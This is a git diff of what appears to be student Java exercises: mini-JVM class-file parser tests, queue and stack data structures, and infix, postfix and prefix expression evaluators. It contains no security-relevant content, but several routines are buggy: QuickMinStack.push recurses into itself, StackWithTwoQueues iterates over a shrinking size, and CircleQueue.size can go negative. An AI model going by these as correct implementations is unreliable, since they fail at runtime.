+	public static void main(String[] args) {
+		String path = "F:\\mycoding2017\\group11\\996108220\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		ConstantPool pool=clzFile.getConstantPool();
+		ConstantPoolPrinter printer=new ConstantPoolPrinter(pool);
+		printer.print();
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group11/996108220/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 44d000a19a..eae273edc6 100644
--- a/group11/996108220/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group11/996108220/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,17 +1,26 @@
 package com.coderising.jvm.test;
 
+import java.util.List;
+
 import org.junit.After;
 import  org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
+
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
 
 
 
@@ -195,7 +204,147 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
     
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+    	
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());  
+		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
    
-
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 }
diff --git a/group11/996108220/src/com/coderising/jvm/test/MiniJVMTest.java b/group11/996108220/src/com/coderising/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..787c0d954d
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/test/MiniJVMTest.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\answer\\bin";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/queue/CircleQueue.java b/group11/996108220/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..cfb51ef3b1
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,54 @@
+package com.coding.basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		return front==rear;
+        
+    }
+
+    public int size() {
+        return (rear-front)%DEFAULT_SIZE;
+    }
+
+    
+
+    public void enQueue(E data) {
+        if ((rear+1)%DEFAULT_SIZE==front) {
+			throw(new ArrayIndexOutOfBoundsException());
+		}
+        else {
+			elementData[rear]=data;
+			rear=(rear+1)%DEFAULT_SIZE;
+		}
+    }
+
+    public E deQueue() {
+    	if (isEmpty()) {
+    		throw(new NullPointerException());
+    		
+		}
+    	else {
+    		int index=front;
+    		front=(front+1)%DEFAULT_SIZE;
+			return (E) elementData[index] ;
+		}
+       
+    }
+}
diff --git a/group11/996108220/src/com/coding/basic/queue/Josephus.java b/group11/996108220/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..2816df89b7
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,33 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){	
+		List<Integer> list=new ArrayList<Integer>();
+		for (int i = 1; i <= n; i++) {
+			list.add(fun(n,m,i));
+		}
+		return list;
+	}
+
+	private static Integer fun(int n, int m, int i) {
+		if (i==1) {
+			return (n+m-1)%n;
+		}
+		else {
+			return (fun(n-1, m, i-1)+m)%n;
+		}
+	}
+	
+}
diff --git a/group11/996108220/src/com/coding/basic/queue/JosephusTest.java b/group11/996108220/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/queue/Queue.java b/group11/996108220/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group11/996108220/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group11/996108220/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..5d4a25fb96
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,55 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return size()==0;
+    }
+
+
+    
+    public int size() {
+        return stack1.size()+stack2.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+    	if(isEmpty()){
+    		throw(new NullPointerException());		
+    	}
+    	if (stack2.isEmpty()) {
+			while (!stack1.isEmpty()) {
+				stack2.push(stack1.pop());		
+			}
+		}
+        return stack2.pop();
+    }
+
+
+
+ }
+
diff --git a/group11/996108220/src/com/coding/basic/stack/QuickMinStack.java b/group11/996108220/src/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..1b124ab005
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	Stack stack=null;
+	Stack min=null;
+	public QuickMinStack() {
+		stack=new Stack();
+		min=new Stack();
+	}
+	public void push(int data){
+		if (stack.isEmpty()) {
+			int copy=data;
+			push(data);
+			push(copy);
+			
+		}
+		else {
+			if (data<(int)min.peek()) {
+				int copy=data;
+				push(data);
+				push(copy);
+			}
+			else {
+				stack.push(data);
+				min.push(min.peek());
+			}
+		}
+	}
+	public int pop(){
+		if (stack.isEmpty()) {
+			throw(new NullPointerException());
+		}
+		min.pop();
+		return (int) stack.pop();
+	}
+	public int findMin(){
+		return (int) min.peek();
+	}
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java b/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java
index e921ed991c..6d7d2e013f 100644
--- a/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java
+++ b/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java
@@ -9,6 +9,8 @@
 import org.junit.BeforeClass;
 import org.junit.Test;
 
+import com.coding.basic.stack.expr.InfixExpr;
+
 public class StackUtilTest {
 	Stack s;
 	@Before
diff --git a/group11/996108220/src/com/coding/basic/stack/StackWithTwoQueues.java b/group11/996108220/src/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..15eba7add3
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,42 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.Queue;
+
+
+public class StackWithTwoQueues {
+	Queue<Integer> queue1=new Queue<>();
+	Queue<Integer> queue2=new Queue<>();	
+
+    public void push(int data) {       
+    	if (queue1.isEmpty()&&queue2.isEmpty()) {
+			queue1.enQueue(data);
+		}
+    	else if (queue1.isEmpty()&&!queue2.isEmpty()) {
+			queue2.enQueue(data);
+		}
+    	else if (!queue1.isEmpty()&&queue2.isEmpty()) {
+			queue1.enQueue(data);
+		}
+    }
+
+    public int pop() {
+    	if (queue1.isEmpty()&&queue2.isEmpty()) {
+			throw(new RuntimeException());
+		}
+    	else if (queue1.isEmpty()&&!queue2.isEmpty()) {
+			for (int i = 0; i < queue2.size()-1; i++) {
+				queue1.enQueue((int)queue2.deQueue());
+			}
+			return (int) queue2.deQueue();
+		}
+    	else if (!queue1.isEmpty()&&queue2.isEmpty()) {
+			for (int i = 0; i < queue1.size()-1; i++) {
+				queue2.enQueue((int)queue1.deQueue());
+			}
+			return (int) queue1.deQueue();
+		}
+		return 0;
+    }
+
+    
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/TwoStackInOneArray.java b/group11/996108220/src/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..83e8f611dc
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,84 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	int top1=-1;
+	int top2=10;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		if (top1+1==top2) {
+			grow(data,top1,top2);
+		}
+		data[++top1]=o;		
+	}
+	private void grow(Object[] data2,int top1, int top2) {
+		// TODO Auto-generated method stub
+		Object[] data=new Object[data2.length+data2.length/2];
+		System.arraycopy(data2,0,data,0,top1+1);
+		System.arraycopy(data2,top2,data,top2+data2.length/2,data2.length-top2+1);
+		this.top2=top2+data2.length/2;
+		this.data=data;
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		if (top1+1>0) {
+			return data[top1--];
+		}
+		return null;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		if (top1+1>0) {
+			return data[top1];
+		}
+		return null;
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		if (top1+1==top2) {
+			grow(data,top1,top2);
+		}
+		data[--top2]=o;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		if (top2<data.length) {
+			return data[top2++];
+		}
+		return null;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		if (top2<data.length) {
+			return data[top2];
+		}
+		return null;
+	}
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/InfixExpr.java b/group11/996108220/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..b264eaa19c
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,69 @@
+package com.coding.basic.stack.expr;
+
+
+import java.util.List;
+import java.util.Stack;
+
+import com.sun.org.apache.xpath.internal.compiler.OpCodes;
+
+
+
+public class InfixExpr {
+	String expr=null;
+	public InfixExpr(String expr) {
+		 this.expr=expr;	  
+	}
+	//5-2+3 6/2*3 5-2+3*4 2+3-5
+	public float evaluate() {
+		TokenParser tokenParser=new TokenParser();
+		List<Token> tokens= tokenParser.parse(expr);
+		Stack<Token> opStack=new Stack<>();
+		Stack<Float> numStack=new Stack<>();
+		for (Token token : tokens) {
+			if (token.isNumber()) {	
+				numStack.push((float)(token.getIntValue()));
+			}
+			else {
+				while (!opStack.isEmpty()&&!token.hasHigherPriority(opStack.peek())) {
+					float op2=numStack.pop();
+					float op1= numStack.pop();
+				
+					char op=opStack.pop().toString().charAt(0);
+					numStack.add(caculate(op1,op2,op));
+					
+				}
+				opStack.push(token);
+			}
+		}
+
+		while (opStack.size()!=0) {
+			
+			float op2=numStack.pop();
+			float op1= numStack.pop();
+			char op=opStack.pop().toString().charAt(0);
+			numStack.add(caculate(op1,op2,op));
+		}
+		return (float) numStack.pop();
+	}
+	public float caculate(float op1,float op2,char op){
+		
+
+		float tmpResult = 0;
+		switch(op){  
+        case '+':  
+            tmpResult = op1 + op2;            
+            break;  
+        case '-':  
+            tmpResult = op1 - op2;  
+            break;  
+        case '*':  
+            tmpResult = op1 * op2;  
+            break;  
+        case '/':  
+            tmpResult = op1 / op2;  
+            break;  
+    }  
+		return tmpResult;
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/InfixExprTest.java b/group11/996108220/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..02af48b92b
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*  20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3 *4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3* 20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/ 2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group11/996108220/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..e53af75714
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,46 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		TokenParser tokenParser=new TokenParser();
+		List<Token> tokens=tokenParser.parse(expr);
+		List<Token> postfixTokens=new ArrayList<>();
+		Stack<Token> opStack=new Stack<>();
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				postfixTokens.add(token);
+			}
+			else {
+				while (!opStack.isEmpty()&&opStack.peek().hasHigherPriority(token)) {
+					postfixTokens.add(opStack.pop());		
+				}
+				opStack.add(token);
+			}
+		}
+		while (!opStack.isEmpty()) {
+			postfixTokens.add(opStack.pop());
+			
+		}
+		return postfixTokens;
+	}
+	
+	public static void main(String[] args) {
+		List<Token> post=InfixToPostfix.convert("4*2 + 6+9*2/3 -8");
+		for (Token token : post) {
+			if (token.isNumber()) {
+				System.out.println(token.getIntValue());
+			}
+			else {
+				System.out.println(token.toString());
+			}
+		}
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/PostfixExpr.java b/group11/996108220/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..d32b346ef0
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser tokenParser =new TokenParser();
+		List<Token> tokens=tokenParser.parse(expr);
+		Stack<Float> numStack =new Stack<>();
+		for (Token token : tokens) {
+			if (token.isOperator()) {
+				float op2=(float)numStack.pop();
+				float op1=(float)numStack.pop();
+				char op =token.toString().charAt(0);
+				numStack.push(caculate(op1, op2, op));
+			}
+			else {
+				numStack.push((float)token.getIntValue());
+			}
+		}
+		
+		return numStack.pop();
+	}
+	private float caculate(float op1,float op2,char op){
+		
+
+		float tmpResult = 0;
+		switch(op){  
+        case '+':  
+            tmpResult = op1 + op2;            
+            break;  
+        case '-':  
+            tmpResult = op1 - op2;  
+            break;  
+        case '*':  
+            tmpResult = op1 * op2;  
+            break;  
+        case '/':  
+            tmpResult = op1 / op2;  
+            break;  
+    }  
+		return tmpResult;
+	}
+	
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group11/996108220/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/PrefixExpr.java b/group11/996108220/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..b545cd0d64
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,55 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		TokenParser tokenParser =new TokenParser();
+		List<Token> tokens=tokenParser.parse(expr);
+		Stack<Float> numStack =new Stack<>();
+		for (int i = tokens.size()-1; i >=0; i--) {
+			Token token=tokens.get(i);
+			if (token.isOperator()) {
+				float op1=(float)numStack.pop();
+				float op2=(float)numStack.pop();
+				char op =token.toString().charAt(0);
+				numStack.push(caculate(op1, op2, op));
+			}
+			else {
+				numStack.push((float)token.getIntValue());
+			}
+			
+		}
+		return numStack.pop();
+		
+	}
+	private float caculate(float op1,float op2,char op){
+		
+
+		float tmpResult = 0;
+		switch(op){  
+        case '+':  
+            tmpResult = op1 + op2;            
+            break;  
+        case '-':  
+            tmpResult = op1 - op2;  
+            break;  
+        case '*':  
+            tmpResult = op1 * op2;  
+            break;  
+        case '/':  
+            tmpResult = op1 / op2;  
+            break;  
+    }  
+		return tmpResult;
+	}
+	
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group11/996108220/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/Token.java b/group11/996108220/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..296e67e04a
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,51 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/TokenParser.java b/group11/996108220/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..29f81b457c
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.StringTokenizer;
